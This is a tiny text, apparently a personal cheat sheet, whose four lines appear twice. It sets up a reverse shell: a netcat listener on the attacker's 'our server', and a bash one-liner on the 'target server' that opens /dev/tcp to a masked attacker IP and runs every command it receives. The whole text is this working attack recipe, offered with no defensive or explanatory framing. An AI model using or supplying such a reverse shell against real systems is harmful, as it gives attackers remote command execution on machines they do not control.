our server
nc -l -p 8085 -vvv
target server
exec 5<>/dev/tcp/???.???.??.???/8085 cat <&5 | while read line; do $line 2>&5 >&5; done
our server
nc -l -p 8085 -vvv
target server
exec 5<>/dev/tcp/???.???.??.???/8085 cat <&5 | while read line; do $line 2>&5 >&5; done